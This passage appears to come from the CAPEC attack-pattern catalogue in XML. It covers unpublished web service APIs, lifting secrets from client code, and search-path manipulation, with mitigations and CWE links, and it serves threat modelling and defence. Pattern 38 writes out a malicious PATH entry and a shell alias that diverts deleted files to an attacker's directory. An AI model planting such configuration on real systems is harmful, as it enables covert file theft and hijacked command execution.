					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Gunnar Peterson</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-02-28</Modification_Date>
						<Modification_Comment>Fleshed out content to CAPEC schema from the original
							descriptions in "Exploiting Software"</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-03-09</Modification_Date>
						<Modification_Comment>Review and revise</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Richard Struse</Modifier>
						<Modifier_Organization>VOXEM, Inc</Modifier_Organization>
						<Modification_Date>2007-03-26</Modification_Date>
						<Modification_Comment>Review and feedback leading to changes in Related
							Attack Patterns</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-04-13</Modification_Date>
						<Modification_Comment>Modified pattern content according to review and
							feedback</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="36" Name="Using Unpublished Web Service APIs"
			Pattern_Abstraction="Detailed" Pattern_Completeness="Complete" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker searches for and invokes Web Services APIs that the target
						system designers did not intend to be publicly available. If these APIs fail
						to authenticate requests the attacker may be able to invoke services and/or
						gain privileges they are not authorized for.</Text>
				</Summary>
				<Attack_Execution_Flow>
					<Attack_Phases>
						<Attack_Phase ID="1" Name="">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Description>
											<Text>Discover a web service of interest, by exploring
												web service registry listings or by connecting on
												known port or some similar means</Text>
										</Attack_Step_Description>
									</Custom_Attack_Step>
								</Attack_Step>
								<Attack_Step ID="2">
									<Custom_Attack_Step>
										<Attack_Step_Description>
											<Text>Authenticate to the web service, if required, in
												order to explore it.</Text>
										</Attack_Step_Description>
									</Custom_Attack_Step>
								</Attack_Step>
								<Attack_Step ID="3">
									<Custom_Attack_Step>
										<Attack_Step_Description>
											<Text>Determine the exposed interfaces by querying the
												registry as well as probably sniffing to expose
												interfaces that are not explicitly listed.</Text>
										</Attack_Step_Description>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
					</Attack_Phases>
				</Attack_Execution_Flow>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The architecture under attack must publish or otherwise make available
						services, of some kind, that clients can attach to, either in an
						unauthenticated fashion, or having obtained an authentication token
						elsewhere.</Text>
					<Text>The service need not be 'discoverable' but in the event it isn't, must
						have some way of being discovered by an attacker.</Text>
					<Text>This might include listening on a well-known port. Ultimately, the
						likelihood of exploit depends on discoverability of the vulnerable
						service.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>High</Typical_Severity>
			<Typical_Likelihood_of_Exploit>
				<Likelihood>Medium</Likelihood>
				<Explanation/>
			</Typical_Likelihood_of_Exploit>
			<Methods_of_Attack>
				<Method_of_Attack>Analysis</Method_of_Attack>
				<Method_of_Attack>API Abuse</Method_of_Attack>
			</Methods_of_Attack>
			<Examples-Instances>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>To an extent, Google services (such as Google Maps) are all well-known
							examples. Calling these services, or extending them for one's own
							(perhaps very different) purposes is as easy as knowing they exist.
							Their unencumbered public use, however, is a purposeful aspect of
							Google's business model. Most organizations, however, do not have the
							same business model. Organizations publishing services usually fall back
							on thoughts that Attackers "will not know services exist" and that "even
							if they did, they wouldn't be able to access them because they're not on
							the local LAN." Simple threat modeling exercises usually uncovers simple
							attack vectors that can invalidate these assumptions.</Text>
					</Example-Instance_Description>
				</Example-Instance>
			</Examples-Instances>
			<Attacker_Skills_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>Low</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>A number of web service digging tools are available for free that help
							discover exposed web services and their interfaces. In the event that a
							web service is not listed, the attacker does not need to know much more
							in addition to the format of web service messages that he can
							sniff/monitor for.</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
			</Attacker_Skills_or_Knowledge_Required>
			<Resources_Required>
				<Text>No special resources are required in order to conduct these attacks. Web
					service digging tools may be helpful.</Text>
			</Resources_Required>
			<Probing_Techniques>
				<Probing_Technique>
					<Description>
						<Text>Probing techniques should often follow normal means of identifying
							services. Attackers will simply have to execute code that sends the
							appropriate interrogating SOAP messages to suspected UDDI services (in
							web-services scenarios). Attackers will likely want to detect and query
							the organization's SOA Registry.</Text>
					</Description>
				</Probing_Technique>
				<Probing_Technique>
					<Description>
						<Text>Probing techniques become more difficult when the service isn't
							advertised, or doesn't leverage discovery frameworks such as UDDI or the
							WS-I standard. In these cases, sniffing network traffic may suffice,
							depending on whether or not discovery occurs over a protected
							channel.</Text>
					</Description>
				</Probing_Technique>
			</Probing_Techniques>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>Authenticating both services and their discovery, and protecting that
						authentication mechanism simply fixes the bulk of this problem. Protecting
						the authentication involves the standard means, including: 1) protecting the
						channel over which authentication occurs, 2) preventing the theft, forgery,
						or prediction of authentication credentials or the resultant tokens, or 3)
						subversion of password reset and the like.</Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Attack_Motivation-Consequences>
				<!--Information Leakage-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Privilege Escalation-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Access_Control</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Injection_Vector/>
			<Payload/>
			<Activation_Zone/>
			<Payload_Activation_Impact/>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>306<!--Missing Authentication for Critical Function--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>693<!--Protection Mechanism Failure--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>695<!--Use of Low-Level Functionality--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>113<!--API Abuse/Misuse--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<Relevant_Security_Requirements>
				<Relevant_Security_Requirement>
					<Text>Authenticate every request or message to a service</Text>
				</Relevant_Security_Requirement>
				<Relevant_Security_Requirement>
					<Text>Do not rely on lack of discoverability to protect privileged functions
						within the service</Text>
				</Relevant_Security_Requirement>
			</Relevant_Security_Requirements>
			<Related_Security_Principles>
				<Related_Security_Principle>
					<Text>Never Assuming that Your Secrets Are Safe</Text>
				</Related_Security_Principle>
				<Related_Security_Principle>
					<Text>Complete Mediation</Text>
				</Related_Security_Principle>
			</Related_Security_Principles>
			<Related_Guidelines>
				<Related_Guideline>
					<Text>Use Authorization Mechanisms Correctly</Text>
				</Related_Guideline>
				<Related_Guideline>
					<Text>Use Authentication Mechanisms, Where Appropriate, Correctly</Text>
				</Related_Guideline>
			</Related_Guidelines>
			<Purposes>
				<Purpose>Penetration</Purpose>
			</Purposes>
			<CIA_Impact>
				<Confidentiality_Impact>High</Confidentiality_Impact>
				<Integrity_Impact>Medium</Integrity_Impact>
				<Availability_Impact>Low</Availability_Impact>
			</CIA_Impact>
			<Technical_Context>
				<Architectural_Paradigms>
					<Architectural_Paradigm>SOA</Architectural_Paradigm>
				</Architectural_Paradigms>
				<Frameworks>
					<Framework>All</Framework>
				</Frameworks>
				<Platforms>
					<Platform>All</Platform>
				</Platforms>
				<Languages>
					<Language>All</Language>
				</Languages>
			</Technical_Context>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>John Steven</Submitter>
						<Submitter_Organization>Cigital, Inc</Submitter_Organization>
						<Submission_Date>2007-02-10</Submission_Date>
						<Submission_Comment>Initial core pattern content</Submission_Comment>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Chiradeep B. Chhaya</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-02-23</Modification_Date>
						<Modification_Comment>Fleshed out pattern with extra
							content</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Richard Struse</Modifier>
						<Modifier_Organization>VOXEM, Inc</Modifier_Organization>
						<Modification_Date>2007-03-26</Modification_Date>
						<Modification_Comment>Review and feedback leading to changes in Name and
							Description</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-04-13</Modification_Date>
						<Modification_Comment>Modified pattern content according to review and
							feedback</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="37" Name="Lifting Data Embedded in Client Distributions"
			Pattern_Abstraction="Standard" Pattern_Completeness="Complete" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker can resort to stealing data embedded in client distributions
						or client code in order to gain certain information. This information can
						reveal confidential contents, such as account numbers, or can be used as an
						intermediate step in a larger attack (such as by stealing
						keys/credentials).</Text>
				</Summary>
				<Attack_Execution_Flow>
					<Attack_Phases>
						<Attack_Phase ID="1" Name="Explore">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Identify Target</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>Attacker identifies client components to extract
												information from. These may be binary executables,
												class files, shared libraries (e.g., DLLs), or other
												machine code.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Binary file extraction. The attacker
												extracts binary files from zips, jars, wars, PDFs
												or other composite formats.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Local env-Embedded
												env-ClientServer env-Peer2Peer</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>Package listing. The attacker uses a package
												manifest provided with the software installer, or
												the filesystem itself, to identify component files
												suitable for attack.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Local env-Embedded
												env-ClientServer env-Peer2Peer</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Indicators>
											<Indicator ID="1" type="Positive">
												<Indicator_Description>
												<Text>Proprietary or sensitive data is stored in a
												location ultimately distributed to end
												users.</Text>
												</Indicator_Description>
												<Environments>env-Local env-Embedded
												env-ClientServer env-Peer2Peer</Environments>
											</Indicator>
											<Indicator ID="2" type="Negative">
												<Indicator_Description>
												<Text>Access to binary code is not realistic. For
												example, in a client-server environment, binary
												code on the server is presumed to be inscrutable
												to an attacker unless another vulnerability
												exposes it.</Text>
												</Indicator_Description>
												<Environments>env-Web env-ClientServer env-Peer2Peer
												env-CommProtocol</Environments>
											</Indicator>
										</Indicators>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>The attacker identifies one or
												more files or data in the software to
												attack.</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Preventative">
												<Security_Control_Description>Obfuscation can make
												the observation and reverse engineering more
												difficult. It is only capable of delaying an
												attacker, however, not preventing a sufficiently
												motivated and resourced
												one.</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
						<Attack_Phase ID="2" Name="Experiment">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Apply mining
											techniques</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>The attacker then uses a variety of techniques,
												such as sniffing, reverse-engineering, and
												cryptanalysis to extract the information of
												interest.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>API Profiling. The attacker monitors the
												software's use of registry keys or other operating
												system-provided storage locations that can contain
												sensitive information.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Local env-Embedded
												env-ClientServer env-Peer2Peer</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>Execution in simulator. The attacker
												physically removes mass storage from the system
												and explores it using a simulator, external
												system, or other debugging harness.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Local env-Embedded</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="3">
												<Attack_Step_Technique_Description>
												<Text>Cryptanalysis. The attacker performs
												cryptanalysis to identify data in the client
												component which may be cryptographically
												significant. (Key material frequently stands out
												as very high entropy data when compared to other
												mundane data). Given cryptographically significant
												data, other analyses are performed (e.g., length,
												internal structure, etc.) to determine potential
												algorithms (RSA, ECC, AES, etc.). This process
												proceeds until the attacker reaches a conclusion
												about the significance and use of the data.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Local env-Embedded
												env-ClientServer env-Peer2Peer</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="4">
												<Attack_Step_Technique_Description>
												<Text>Common decoding methods. The attacker
												applies methods to decode such encodings and
												compressions as Base64, unzip, unrar, RLE
												decoding, gzip decompression and so on.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-All</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="5">
												<Attack_Step_Technique_Description>
												<Text>Common data typing. The attacker looks for
												common file signatures for well known file types
												(JPEG, TIFF, ASN.1, LDIF, etc.). If the signatures
												match, he attempts decoding in that format.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-All</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Indicators>
											<Indicator ID="1" type="Positive">
												<Indicator_Description>
												<Text>Well known data types are used and embedded
												inside the client-accessible code.</Text>
												</Indicator_Description>
												<Environments>env-Local env-Embedded
												env-ClientServer env-Peer2Peer</Environments>
											</Indicator>
											<Indicator ID="2" type="Inconclusive">
												<Indicator_Description>
												<Text>Proprietary data encodings are used.
												Although this incrementally increases the
												difficulty for an attacker to decode the data, it
												provides no better protection than well-known data
												types. Since few software developers are trained
												in obfuscation and cryptography, most proprietary
												encodings add little security value.</Text>
												</Indicator_Description>
												<Environments>env-Local env-Embedded
												env-ClientServer env-Peer2Peer</Environments>
											</Indicator>
										</Indicators>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>The attacker extracts useful
												information.</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Corrective">
												<Security_Control_Description>The software can
												contain an update mechanism, key management
												mechanism, or other means of updating proprietary
												data. Although this can react to a single breach,
												it is not an effective continuing solution. Many
												software manufacturers are lured into a repeated
												update cycle (c.f., satellite TV providers,
												iPhone) as hackers break proprietary data
												protection schemes. Planning to issue corrections
												is a poor long-term strategy, but it can be an
												effective stopgap measure until a design-level
												correction can be
												made.</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
					</Attack_Phases>
				</Attack_Execution_Flow>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>In order to feasibly execute this class of attacks, some valuable data
						must be present in client software.</Text>
				</Attack_Prerequisite>
				<Attack_Prerequisite>
					<Text>Additionally, this information must be unprotected, or protected in a
						flawed fashion, or through a mechanism that fails to resist reverse
						engineering, statistical, cryptanalytic, or other attack.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Very High</Typical_Severity>
			<Typical_Likelihood_of_Exploit>
				<Likelihood>Very High</Likelihood>
				<Explanation/>
			</Typical_Likelihood_of_Exploit>
			<Methods_of_Attack>
				<Method_of_Attack>Analysis</Method_of_Attack>
			</Methods_of_Attack>
			<Examples-Instances>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>Using a tool such as 'strings' or similar to pull out text data,
							perhaps part of a database table, that extends beyond what a particular
							user's purview should be.</Text>
					</Example-Instance_Description>
				</Example-Instance>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>An attacker can also use a decompiler to decompile a downloaded Java
							applet in order to look for information such as hardcoded IP addresses,
							file paths, passwords or other such contents.</Text>
					</Example-Instance_Description>
				</Example-Instance>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>Attacker uses a tool such as a browser plug-in to pull cookie or other
							token information that, from a previous user at the same machine
							(perhaps a kiosk), allows the attacker to log in as the previous
							user.</Text>
					</Example-Instance_Description>
				</Example-Instance>
			</Examples-Instances>
			<Attacker_Skills_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>Medium</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>The attacker must possess knowledge of client code structure as well
							as ability to reverse-engineer or decompile it or probe it in other
							ways. This knowledge is specific to the technology and language used for
							the client distribution</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
			</Attacker_Skills_or_Knowledge_Required>
			<Resources_Required>
				<Text>The attacker must possess access to the client machine or code being
					exploited. Such access, for this set of attacks, will likely be physical. The
					attacker will make use of reverse engineering technologies, perhaps for data or
					to extract functionality from the binary. Such tool use may be as simple as
					"Strings" or a hex editor. Removing functionality may require the use of only a
					hex editor, or may require aspects of the toolchain used to construct the
					application: for instance the Adobe Flash development environment. Attacks of
					this nature do not require network access or undue CPU, memory, or other
					hardware-based resources.</Text>
			</Resources_Required>
			<Probing_Techniques>
				<Probing_Technique>
					<Description>
						<Text>Attackers may confine (and succeeed with) probing as simple as
							deleting a cache or data file, or less drastically twiddling its bits
							and then testing the mutation's effect on an executing client.</Text>
					</Description>
				</Probing_Technique>
				<Probing_Technique>
					<Description>
						<Text>At the other extreme, attackers capable of reverse engineering client
							code will have the ability to remove functionality or identify the
							whereabouts of sensitive data through whitebox analysis, such as review
							of reverse-engineered code.</Text>
					</Description>
				</Probing_Technique>
			</Probing_Techniques>
			<Attack_Motivation-Consequences>
				<!--Information Leakage-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Data Modification-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Integrity</Consequence_Scope>
					<Consequence_Technical_Impact>Modify application
						data</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Privilege Escalation-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Access_Control</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Injection_Vector>
				<Text>This pattern of attacks possesses no injection vector, in its normal
					instances, as it affects clients fundamentally vulnerable to client-side trust
					issues. One exception to this rule exists: attacks making use of second-order
					injection attacks (SQL, XSS, or similar command injection) may 'deliver' an
					attack, through an intermediate server or data store, to a peer-client, or
					another user's use of the same client. In the case of the second instance
					(another user's use) this vector seems onerous but would be necessary in
					circumstances in which the hosting system protects the application well but
					implicitly trusts (potentially malicious) data received from the server (such as
					may be the case in kiosks well-protected through physical means).</Text>
			</Injection_Vector>
			<Payload/>
			<Activation_Zone>
				<Text>Client-side software, whether it be a monolithic application, client/server,
					or n-tier (web-based).</Text>
			</Activation_Zone>
			<Payload_Activation_Impact/>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>311<!--Missing Encryption of Sensitive Data--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>525<!--Information Leak Through Browser Caching--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>312<!--Cleartext Storage of Sensitive Information--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>314<!--Plaintext Storage in the Registry--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>315<!--Plaintext Storage in a Cookie--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>318<!--Plaintext Storage in Executable--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>167<!--Lifting Sensitive Data from the Client--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<Relevant_Security_Requirements>
				<Relevant_Security_Requirement>
					<Text>No sensitive or confidential information must be stored in client
						distributions. This includes content such as passwords or encryption keys.
						In cases where this is necessary, avoid storing any such information in
						plaintext</Text>
				</Relevant_Security_Requirement>
				<Relevant_Security_Requirement>
					<Text>All information arriving from a client must be validated before
						use.</Text>
				</Relevant_Security_Requirement>
			</Relevant_Security_Requirements>
			<Related_Security_Principles>
				<Related_Security_Principle>
					<Text>Reluctance to Trust</Text>
				</Related_Security_Principle>
				<Related_Security_Principle>
					<Text>Never Assuming that Your Secrets Are Safe</Text>
				</Related_Security_Principle>
			</Related_Security_Principles>
			<Related_Guidelines>
				<Related_Guideline>
					<Text>Never Use Unvalidated Input as Part of a Directive to any Internal
						Component</Text>
				</Related_Guideline>
				<Related_Guideline>
					<Text>Treat the Entire Inherited Process Context as Unvalidated Input</Text>
				</Related_Guideline>
				<Related_Guideline>
					<Text>Use Well-Known Cryptography Appropriately and Correctly</Text>
				</Related_Guideline>
			</Related_Guidelines>
			<Purposes>
				<Purpose>Reconnaissance</Purpose>
				<Purpose>Exploitation</Purpose>
			</Purposes>
			<CIA_Impact>
				<Confidentiality_Impact>High</Confidentiality_Impact>
				<Integrity_Impact>Medium</Integrity_Impact>
				<Availability_Impact>Low</Availability_Impact>
			</CIA_Impact>
			<Technical_Context>
				<Architectural_Paradigms>
					<Architectural_Paradigm>All</Architectural_Paradigm>
				</Architectural_Paradigms>
				<Frameworks>
					<Framework>All</Framework>
				</Frameworks>
				<Platforms>
					<Platform>All</Platform>
				</Platforms>
				<Languages>
					<Language>All</Language>
				</Languages>
			</Technical_Context>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>John Steven</Submitter>
						<Submitter_Organization>Cigital, Inc</Submitter_Organization>
						<Submission_Date>2007-02-10</Submission_Date>
						<Submission_Comment>Initial core pattern content</Submission_Comment>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Chiradeep B. Chhaya</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-02-23</Modification_Date>
						<Modification_Comment>Fleshed out pattern with extra
							content</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="38" Name="Leveraging/Manipulating Configuration File Search Paths"
			Pattern_Abstraction="Standard" Pattern_Completeness="Complete" Status="Draft">
			<Description>
				<Summary>
					<Text>This attack loads a malicious resource into a program's standard path used
						to bootstrap and/or provide contextual information for a program like a path
						variable or classpath. J2EE applications and other component based
						applications that are built from mutliple binaries can have very long list
						of dependencies to execute. If one of these libraries and/or references is
						controllable by the attacker then application controls can be circumvented
						by the attacker.</Text>
					<Text>A standard UNIX path looks similar to this</Text>
					<Block>
						<Code>/bin:/sbin:/usr/bin:/usr/local/bin:/usr/sbin</Code>
					</Block>
					<Text>If the attacker modifies the path variable to point to a locale that
						includes malicious resources then the user unwittingly can execute commands
						on the attacker's behalf:</Text>
					<Block>
						<Code>/evildir/bin:/sbin:/usr/bin:/usr/local/bin:/usr/sbin</Code>
					</Block>
					<Text>This is a form of usurping control of the program and the attack can be
						done on the classpath, database resources, or any other resources built from
						compound parts. At runtime detection and blocking of this attack is nearly
						impossible, because the configuration allows execution.</Text>
				</Summary>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The attacker must be able to write to redirect search paths on the victim
						host.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Very High</Typical_Severity>
			<Typical_Likelihood_of_Exploit>
				<Likelihood>High</Likelihood>
				<Explanation/>
			</Typical_Likelihood_of_Exploit>
			<Methods_of_Attack>
				<Method_of_Attack>Modification of Resources</Method_of_Attack>
			</Methods_of_Attack>
			<Examples-Instances>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>This attack can be accomplished in two ways. An attacker can insert a
							malicious program into the path or classpath so that when a known
							command is executed then the system instead executes the trojans.
							Another method is to redirect commands by aliasing one legitimate
							command to another to create unexpected results. the Unix command "rm"
							could be aliased to "mv" and move all files the victim thinks they are
							deleting to a directory the attacker controls. In a Unix shell .profile
							setting</Text>
						<Block>
							<Code>alias rm=mv /usr/home/attacker</Code>
						</Block>
						<Text>In this case the attacker retains a copy of all the files the victim
							attempts to remove.</Text>
					</Example-Instance_Description>
				</Example-Instance>
			</Examples-Instances>
			<Attacker_Skills_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>Low</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>To identify and execute against an overprivileged system
							interface</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
			</Attacker_Skills_or_Knowledge_Required>
			<Resources_Required/>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>Design: Enforce principle of least privilege</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Design: Ensure that the program's compound parts, including all system
						dependencies, classpath, path, and so on, are secured to the same or higher
						level assurance as the program</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Implementation: Host integrity monitoring</Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Attack_Motivation-Consequences>
				<!--Run Arbitrary Code-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Integrity</Consequence_Scope>
					<Consequence_Scope>Availability</Consequence_Scope>
					<Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<!--Privilege Escalation-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Access_Control</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Injection_Vector/>
			<Payload/>
			<Activation_Zone/>
			<Payload_Activation_Impact/>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>426<!--Untrusted Search Path--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>427<!--Uncontrolled Search Path Element--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>428<!--Unquoted Search Path or Element--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>706<!--Use of Incorrectly-Resolved Name or Reference--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID>1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>13<!--Subverting Environment Variable Values--></Relationship_Target_ID>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>148<!--Content Spoofing--></Relationship_Target_ID>
